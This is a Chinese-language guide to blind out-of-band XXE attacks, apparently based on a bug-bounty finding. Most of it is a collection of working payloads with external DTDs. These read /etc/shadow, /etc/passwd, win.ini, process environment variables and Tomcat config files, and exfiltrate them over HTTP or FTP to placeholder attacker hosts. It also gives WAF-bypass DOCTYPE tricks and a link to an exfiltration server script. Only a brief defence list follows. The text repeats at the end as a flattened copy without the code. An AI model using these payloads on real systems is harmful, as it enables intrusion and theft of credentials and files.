利用OOB XXE盲攻击获取文件系统访问权限
字数 1212 2025-08-29 08:32:10

利用OOB XXE盲攻击获取文件系统访问权限 - 详细技术指南

1. XXE攻击概述

XXE (XML External Entity)攻击是一种利用XML解析器处理外部实体时的漏洞,攻击者可以通过构造恶意的XML文档来读取服务器上的任意文件、执行服务器端请求伪造(SSRF)等操作。

2. 发现XXE漏洞的过程

2.1 初始侦察

  • 对目标子域进行广泛扫描和目录枚举
  • 发现一个处理XML数据的端点
  • 通过GET请求观察到响应包含XML SOAP语法

2.2 请求测试

  1. 发送POST请求时发现响应主体消失,但返回200状态码
  2. 发送包含XML语法且Content-Type为application/xml的请求
  3. 观察到响应标签值变为"OK"而非"TestRequestCalled"
  4. 测试JSON请求确认端点专门处理XML数据

3. OOB (Out-of-Band) XXE盲攻击实施

3.1 基本准备

  • 需要搭建VPS托管恶意DTD文件
  • 准备FTP服务器接收外泄数据

3.2 攻击流程

  1. 构造恶意XML文档引用外部DTD
  2. DTD文件定义实体读取目标文件
  3. 通过HTTP/FTP协议将文件内容外泄

4. 实用XXE攻击载荷

4.1 基础验证载荷

<?xml version="1.0" ?>
<!DOCTYPE r [
<!ELEMENT r ANY >
<!ENTITY sp SYSTEM "http://x.x.x.x:443/test.txt">
]>
<r>&sp;</r>

4.2 带外数据提取标准载荷

<?xml version="1.0" ?>
<!DOCTYPE r [
<!ELEMENT r ANY >
<!ENTITY % sp SYSTEM "http://x.x.x.x:443/ev.xml">
%sp;%param1;]>
<r>&exfil;</r>

外部DTD文件内容:

<!ENTITY % data SYSTEM "file:///c:/windows/win.ini">
<!ENTITY % param1 "<!ENTITY exfil SYSTEM 'http://x.x.x.x:443/?%data;'>">

4.3 .NET环境优化版本

<?xml version="1.0" ?>
<!DOCTYPE r [
<!ELEMENT r ANY >
<!ENTITY % sp SYSTEM "http://x.x.x.x:443/ev.xml">
%sp;%param1;%exfil;]>

外部DTD文件内容:

<!ENTITY % data SYSTEM "file:///c:/windows/win.ini">
<!ENTITY % param1 "<!ENTITY % exfil SYSTEM 'http://x.x.x.x:443/?%data;'>">

4.4 Linux系统文件提取

<?xml version="1.0"?>
<!DOCTYPE r [
<!ENTITY % data3 SYSTEM "file:///etc/shadow">
<!ENTITY % sp SYSTEM "http://EvilHost:port/sp.dtd">
%sp;%param3;%exfil;]>

外部DTD文件内容:

<!ENTITY % param3 "<!ENTITY % exfil SYSTEM 'ftp://Evilhost:port/%data3;'>">

4.5 Java环境错误利用

<?xml version="1.0"?>
<!DOCTYPE r [
<!ENTITY % data3 SYSTEM "file:///etc/passwd">
<!ENTITY % sp SYSTEM "http://x.x.x.x:8080/ss5.dtd">
%sp;%param3;%exfil;]>
<r></r>

4.6 CDATA包装技术

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE root [
<!ENTITY % start "<![CDATA[">
<!ENTITY % stuff SYSTEM "file:///usr/local/tomcat/webapps/customapp/WEB-INF/applicationContext.xml">
<!ENTITY % end "]]>">
<!ENTITY % dtd SYSTEM "http://evil/evil.xml">
%dtd;]>
<root>&all;</root>

外部DTD文件内容:

<!ENTITY all "%start;%stuff;%end;">

4.7 文件未找到异常利用

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE test [
<!ENTITY % one SYSTEM "http://attacker.tld/dtd-part">
%one;%two;%four;]>

外部DTD文件内容:

<!ENTITY % three SYSTEM "file:///etc/passwd">
<!ENTITY % two "<!ENTITY % four SYSTEM 'file:///%three;'>">

4.8 FTP协议提取

<?xml version="1.0" ?>
<!DOCTYPE a [
<!ENTITY % asd SYSTEM "http://x.x.x.x:4444/ext.dtd">
%asd;%c;]>
<a>&rrr;</a>

外部DTD文件内容:

<!ENTITY % d SYSTEM "file:///proc/self/environ">
<!ENTITY % c "<!ENTITY rrr SYSTEM 'ftp://x.x.x.x:2121/%d;'>">

4.9 SOAP环境中的XXE

<soap:Body><foo>
<![CDATA[<!DOCTYPE doc [<!ENTITY % dtd SYSTEM "http://x.x.x.x:22/"> %dtd;]><xxx></xxx>]]>
</foo></soap:Body>

4.10 WAF绕过技术

<!DOCTYPE :. SYSTEM "http://"
<!DOCTYPE :_-_: SYSTEM "http://"
<!DOCTYPE {0xdfbf} SYSTEM "http://"

5. 技术要点总结

  1. 盲XXE检测:即使没有直接响应,通过观察服务器行为变化可以判断XXE存在

  2. 协议选择

    • HTTP协议适合小量数据传输
    • FTP协议适合大数据量传输
    • 不同环境对协议支持不同,需测试
  3. 环境适配

    • .NET环境需要特殊处理
    • Java环境可利用错误信息
    • 不同操作系统文件路径差异
  4. 数据外泄技巧

    • 直接包含在URL参数中
    • 通过FTP传输
    • 利用CDATA包装特殊字符
    • 通过错误信息泄露
  5. 规避技术

    • 使用非常规DOCTYPE语法绕过WAF
    • 编码特殊字符
    • 利用CDATA区段

6. 防御建议

  1. 禁用XML外部实体处理
  2. 使用安全的XML解析器配置
  3. 实施严格的输入验证
  4. 部署WAF规则检测XXE攻击
  5. 限制服务器出站连接

7. 工具资源

  1. XXE FTP服务器脚本:
    https://github.com/ONsec-Lab/scripts/blob/master/xxe-ftp-server.rb

  2. 测试用VPS搭建指南:

    • 推荐使用DigitalOcean/Linode等云服务
    • 需要开放HTTP/FTP端口
  3. 监控工具:

    • 使用tcpdump或Wireshark监控外泄数据
    • 配置日志记录异常请求
利用OOB XXE盲攻击获取文件系统访问权限 - 详细技术指南 1. XXE攻击概述 XXE (XML External Entity)攻击是一种利用XML解析器处理外部实体时的漏洞,攻击者可以通过构造恶意的XML文档来读取服务器上的任意文件、执行服务器端请求伪造(SSRF)等操作。 2. 发现XXE漏洞的过程 2.1 初始侦察 对目标子域进行广泛扫描和目录枚举 发现一个处理XML数据的端点 通过GET请求观察到响应包含XML SOAP语法 2.2 请求测试 发送POST请求时发现响应主体消失,但返回200状态码 发送包含XML语法且Content-Type为application/xml的请求 观察到响应标签值变为"OK"而非"TestRequestCalled" 测试JSON请求确认端点专门处理XML数据 3. OOB (Out-of-Band) XXE盲攻击实施 3.1 基本准备 需要搭建VPS托管恶意DTD文件 准备FTP服务器接收外泄数据 3.2 攻击流程 构造恶意XML文档引用外部DTD DTD文件定义实体读取目标文件 通过HTTP/FTP协议将文件内容外泄 4. 实用XXE攻击载荷 4.1 基础验证载荷 4.2 带外数据提取标准载荷 外部DTD文件内容: 4.3 .NET环境优化版本 外部DTD文件内容: 4.4 Linux系统文件提取 外部DTD文件内容: 4.5 Java环境错误利用 4.6 CDATA包装技术 外部DTD文件内容: 4.7 文件未找到异常利用 外部DTD文件内容: 4.8 FTP协议提取 外部DTD文件内容: 4.9 SOAP环境中的XXE 4.10 WAF绕过技术 5. 技术要点总结 盲XXE检测 :即使没有直接响应,通过观察服务器行为变化可以判断XXE存在 协议选择 : HTTP协议适合小量数据传输 FTP协议适合大数据量传输 不同环境对协议支持不同,需测试 环境适配 : .NET环境需要特殊处理 Java环境可利用错误信息 不同操作系统文件路径差异 数据外泄技巧 : 直接包含在URL参数中 通过FTP传输 利用CDATA包装特殊字符 通过错误信息泄露 规避技术 : 使用非常规DOCTYPE语法绕过WAF 编码特殊字符 利用CDATA区段 6. 防御建议 禁用XML外部实体处理 使用安全的XML解析器配置 实施严格的输入验证 部署WAF规则检测XXE攻击 限制服务器出站连接 7. 工具资源 XXE FTP服务器脚本: https://github.com/ONsec-Lab/scripts/blob/master/xxe-ftp-server.rb 测试用VPS搭建指南: 推荐使用DigitalOcean/Linode等云服务 需要开放HTTP/FTP端口 监控工具: 使用tcpdump或Wireshark监控外泄数据 配置日志记录异常请求